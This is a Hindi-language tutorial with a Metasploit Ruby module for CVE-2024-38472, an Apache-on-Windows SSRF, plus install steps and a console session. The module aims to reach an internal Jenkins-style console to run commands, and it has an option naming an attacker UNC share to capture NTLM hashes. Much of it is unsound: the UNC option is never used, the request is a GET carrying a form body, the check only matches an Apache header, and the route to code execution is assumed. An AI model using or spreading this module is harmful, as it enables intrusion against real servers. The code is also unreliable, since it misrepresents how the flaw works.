
Metasploit module जो Windows पर Apache HTTP Server में CVE-2024-38472 SSRF का शोषण करता है, आंतरिक सेवा इंटरैक्शन के माध्यम से Remote Code Execution प्राप्त करने के लिए।
विंडोज पर Apache HTTP Server में SSRF भेद्यता (CVE-2024-38472) के लिए एक रिमोट कोड निष्पादन (RCE) Metasploit मॉड्यूल बनाना चुनौतीपूर्ण है क्योंकि SSRF स्वयं सीधे RCE का परिणाम नहीं देता है। हालाँकि, SSRF अक्सर RCE प्राप्त करने की दिशा में एक कदम हो सकता है, खासकर यदि आप इसका उपयोग आंतरिक सेवाओं के साथ बातचीत करने या किसी द्वितीयक भेद्यता को ट्रिगर करने के लिए कर सकते हैं।
SSRF के माध्यम से RCE प्राप्त करने के लिए, हमें आम तौर पर आवश्यकता होगी:
इस उदाहरण के लिए, मान लें कि हम आंतरिक रूप से एक द्वितीयक सेवा को ट्रिगर कर सकते हैं जो HTTP अनुरोधों को स्वीकार करती है और मनमाना कोड निष्पादित करने के लिए धोखा दिया जा सकता है (जैसे Jenkins सर्वर या कोई अन्य सेवा जिसमें खुला API हो)।
हम एक Metasploit मॉड्यूल तैयार करेंगे जो SSRF का शोषण करके आंतरिक सेवा के साथ बातचीत करके RCE प्राप्त करने का प्रयास करता है। इस मामले में, हम एक आंतरिक Jenkins सर्वर का अनुकरण करेंगे जिसमें एक खुला स्क्रिप्ट कंसोल है जिसका हम RCE के लिए दुरुपयोग कर सकते हैं।
निम्नलिखित कोड को अपने Metasploit Framework इंस्टॉलेशन की modules/exploits/multi/http निर्देशिका में apache_unc_ssrf_rce.rb के रूप में सहेजें।
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache HTTP Server Windows UNC SSRF to RCE',
'Description' => %q{
This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
services like Jenkins.
},
'Author' =>
[
'Your Name' # Your name or handle
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-38472'],
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'DisclosureDate' => 'Aug 03 2024',
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Targets' => [
['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RHOSTS,
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
ssrf_payload = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'version' => '1.1',
'headers' => {
'Host' => datastore['RHOSTS'],
'Content-Type' => 'application/x-www-form-urlencoded'
},
'data' => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
}
begin
print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
res = send_request_cgi(ssrf_payload)
if res && res.code == 200
print_good("Successfully triggered the internal service")
else
print_error("Failed to trigger the internal service: #{res.inspect}")
end
rescue ::Rex::ConnectionError => e
print_error("Connection failed: #{e.message}")
rescue ::Interrupt
print_status("User interrupted the module execution")
rescue ::Exception => e
print_error("An unexpected error occurred: #{e.message}")
end
end
end
मॉड्यूल सहेजें:
मॉड्यूल को अपने Metasploit Framework इंस्टॉलेशन की modules/exploits/multi/http निर्देशिका में apache_unc_ssrf_rce.rb के रूप में सहेजें।
/path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
Metasploit लोड करें: एक टर्मिनल खोलकर और निम्नलिखित चलाकर Metasploit Framework प्रारंभ करें:
msfconsole
नए मॉड्यूल का उपयोग करें: Metasploit कंसोल में, निम्नलिखित कमांड का उपयोग करके नए एक्सप्लॉइट मॉड्यूल को लोड करें:
use exploit/multi/http/apache_unc_ssrf_rce
कॉन्फ़िगर करें और चलाएं:
आवश्यक विकल्प सेट करें, जैसे RHOSTS, RPORT, TARGETURI, UNC_SERVER, INTERNAL_SERVICE, और CMD। फिर मॉड्यूल चलाएं।
यह उन्नत Metasploit मॉड्यूल विंडोज पर कमजोर Apache HTTP सर्वर को एक तैयार अनुरोध भेजता है, जो SSRF भेद्यता को ट्रिगर करने और आंतरिक सेवा के साथ बातचीत करके RCE प्राप्त करने का प्रयास करता है। भेद्यता और लक्ष्य वातावरण की विशिष्ट प्रकृति के आधार पर पेलोड और मॉड्यूल को आवश्यकतानुसार समायोजित करें।
msf6 > use exploit/multi/http/apache_unc_ssrf_rce
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
UNC_SERVER => \\attacker-server\share
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
INTERNAL_SERVICE => http://internal-service/script
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
CMD => calc.exe
msf6 exploit(multi/http/apache_unc_ssrf_rce) > run